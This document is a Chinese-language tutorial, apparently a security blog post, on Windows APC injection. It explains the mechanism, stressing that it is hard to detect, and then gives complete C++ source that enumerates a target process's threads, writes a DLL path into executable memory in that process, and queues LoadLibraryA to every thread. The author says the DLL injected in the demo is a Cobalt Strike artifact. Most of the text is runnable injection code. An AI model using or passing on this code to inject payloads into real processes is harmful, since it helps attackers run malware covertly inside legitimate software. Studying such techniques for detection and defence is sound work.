每一个进程的每一个线程都有自己的APC队列 ,我们可以使用QueueUserAPC 函数把一个APC函数压入APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而是要等到线程处于可通知状态 (alertable)才会执行,即只有当一个线程内部调用SleepEx 等上面说到的几个特定函数将自己处于挂起状态 时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出(FIFO) ,在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点 是对于单线程程序一般不存在挂起状态 ,所以APC注入对于这类程序没有明显效果。
实现过程 这里的常规思路是编写一个根据进程名获取pid的函数,然后根据PID获取所有的线程ID,这里我就将两个函数集合在一起,通过自己输入PID来获取指定进程的线程并写入数组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 BOOL GetProcessThreadList (DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { DWORD dwThreadIdListLength = 0 ; DWORD dwThreadIdListMaxCount = 2000 ; LPDWORD pThreadIdList = NULL ; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc (NULL , dwThreadIdListMaxCount * sizeof (DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL ) { return FALSE; } RtlZeroMemory (pThreadIdList, dwThreadIdListMaxCount * sizeof (DWORD)); THREADENTRY32 th32 = { 0 }; hThreadSnap = CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } th32.dwSize = sizeof (THREADENTRY32); BOOL bRet = Thread32First (hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break ; } pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID; } bRet = Thread32Next (hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; }
然后是apc注入的主函数,首先使用VirtualAllocEx
远程申请内存
1 lpAddr = ::VirtualAllocEx (hProcess, nullptr , page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
然后使用WriteProcessMemory
把dll路径写入内存
1 ::WriteProcessMemory (hProcess, lpAddr, wzDllFullPath, (strlen (wzDllFullPath) + 1 ) * sizeof (wzDllFullPath), nullptr )
再获取LoadLibraryA
的地址
1 PVOID loadLibraryAddress = ::GetProcAddress (::GetModuleHandle ("kernel32.dll" ), "LoadLibraryA" );
便利线程并插入APC,这里定义一个fail并进行判断,如果QueueUserAPC
返回的值为NULL则线程遍历失败,fail的值就+1
1 2 3 4 5 6 7 8 9 10 11 12 13 for (int i = dwThreadIdListLength - 1 ; i >= 0 ; i--){ HANDLE hThread = ::OpenThread (THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { if (!::QueueUserAPC ((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; } } }
然后在到主函数,定义dll地址
1 strcpy_s (wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll" );
使用OpenProcess
打开句柄
1 HANDLE hProcess = OpenProcess (PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
调用之前写好的APCInject
函数实现APC注入
1 2 3 4 5 if (!APCInject (hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)){ printf ("Failed to inject DLL\n" ); return FALSE; }
完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 #include <iostream> #include <Windows.h> #include <TlHelp32.h> using namespace std;void ShowError (const char * pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf (szError, "%s Error[%d]\n" , pszText, ::GetLastError ()); ::MessageBox (NULL , szError, "ERROR" , MB_OK); } BOOL GetProcessThreadList (DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { DWORD dwThreadIdListLength = 0 ; DWORD dwThreadIdListMaxCount = 2000 ; LPDWORD pThreadIdList = NULL ; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc (NULL , dwThreadIdListMaxCount * sizeof (DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL ) { return FALSE; } RtlZeroMemory (pThreadIdList, dwThreadIdListMaxCount * sizeof (DWORD)); THREADENTRY32 th32 = { 0 }; hThreadSnap = CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } th32.dwSize = sizeof (THREADENTRY32); BOOL bRet = Thread32First (hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break ; } pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID; } bRet = Thread32Next (hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; } BOOL APCInject (HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) { PVOID lpAddr = NULL ; SIZE_T page_size = 4096 ; lpAddr = ::VirtualAllocEx (hProcess, nullptr , page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL ) { ShowError ("VirtualAllocEx - Error\n\n" ); VirtualFreeEx (hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle (hProcess); return FALSE; } if (FALSE == ::WriteProcessMemory (hProcess, lpAddr, wzDllFullPath, (strlen (wzDllFullPath) + 1 ) * sizeof (wzDllFullPath), nullptr )) { ShowError ("WriteProcessMemory - Error\n\n" ); VirtualFreeEx (hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle (hProcess); return FALSE; } PVOID loadLibraryAddress = ::GetProcAddress (::GetModuleHandle ("kernel32.dll" ), "LoadLibraryA" ); float fail = 0 ; for (int i = dwThreadIdListLength - 1 ; i >= 0 ; i--) { HANDLE hThread = ::OpenThread (THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { if (!::QueueUserAPC ((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; } ::CloseHandle (hThread); hThread = NULL ; } } printf ("Total Thread: %d\n" , dwThreadIdListLength); printf ("Total Failed: %d\n" , (int )fail); if ((int )fail == 0 || dwThreadIdListLength / fail > 0.5 ) { printf ("Success to Inject APC\n" ); return TRUE; } else { printf ("Inject may be failed\n" ); return FALSE; } } int main () { ULONG32 ulProcessID = 0 ; printf ("Input the Process ID:" ); cin >> ulProcessID; CHAR wzDllFullPath[MAX_PATH] = { 0 }; LPDWORD pThreadIdList = NULL ; DWORD dwThreadIdListLength = 0 ; #ifndef _WIN64 strcpy_s (wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll" ); #else strcpy_s (wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll" ); #endif if (!GetProcessThreadList (ulProcessID, &pThreadIdList, &dwThreadIdListLength)) { printf ("Can not list the threads\n" ); exit (0 ); } HANDLE hProcess = OpenProcess (PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID); if (hProcess == NULL ) { printf ("Failed to open Process\n" ); return FALSE; } if (!APCInject (hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf ("Failed to inject DLL\n" ); return FALSE; } return 0 ; }
之前说过我没有使用进程名 -> pid
的方式,而是直接采用手动输入的方式,通过cin >> ulProcessID
将接收到的参数赋给ulProcessID
这里可以选择写一个MessageBox的dll,这里我直接用的是cs的dll,演示效果如下所示